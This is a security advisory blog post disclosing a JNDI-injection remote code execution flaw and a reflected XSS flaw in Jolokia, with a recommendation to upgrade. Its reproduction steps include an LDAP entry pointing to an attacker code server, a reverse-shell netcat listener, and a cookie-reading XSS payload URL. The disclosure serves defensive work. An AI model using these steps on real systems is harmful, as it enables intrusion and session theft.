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Wednesday
Apr182018

Jolokia Vulnerabilities - RCE & XSS

Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks.

The following issues are described below:

Affected versions:

  • 1.4.0 and below. Version 1.5.0 addresses both issues.

Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this:

Remote Code Execution via JNDI Injection
CVE-2018-1000130

The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.

JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.

If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.

Steps to reproduce:

For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface.
  1. The following POST request can be used to exploit this vulnerability:

  2. We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from marshalsec and zerothoughts GitHub repositories.

  3. After that we need to create an ExportObject.java with reverse shell command. The bytecode of this class will be served from our HTTP server:

  4. The LDAP Server should be run with the following command line arguments:

    http://127.0.0.1:7873/#ExportObject 9092
    where:
    • http://127.0.0.1:7873/ is the URL of the attacker’s HTTP server
    • ExportObject is name of the Java class containing the attacker’s code
    • 9092 is the LDAP server listen port
  5. Start an nc listener on port 7777:

    $ nc -lv 7777
  6. After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.

  7. When the LDAP server, listening on the port 9092, receives a request from the vulnerable server, it creates an Entry object with attributes and returns it in the LDAP response.

    e.addAttribute("javaClassName", "ExportObject");
    e.addAttribute("javaCodeBase", "http://127.0.0.1/");
    e.addAttribute("objectClass", "javaNamingReference");
    e.addAttribute("javaFactory", "ExportObject");
    
  8. When the vulnerable server receives the LDAP response, it fetches the ExportObject.class from the attacker’s HTTP server, instantiates the object and executes the reverse shell command.

  9. The attacker receives the connection back from the vulnerable server on his nc listener.


Cross-Site Scripting
CVE-2018-1000129

The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter mimeType to the request:

http://localhost:8161/api/jolokia/read?mimeType=text/html

After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:

http://localhost:8161/api/jolokia/read<svg%20onload=alert(docu
ment.cookie)>
?mimeType=text/html

With text/html Content Type, the classic reflected XSS attack is possible. Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user’s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser.

And at the end,

  • advice for bug hunters – read documentation! Sometimes it’s useful!
  • recommendation for Jolokia users - update the service to version 1.5.0.

Credits

Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.

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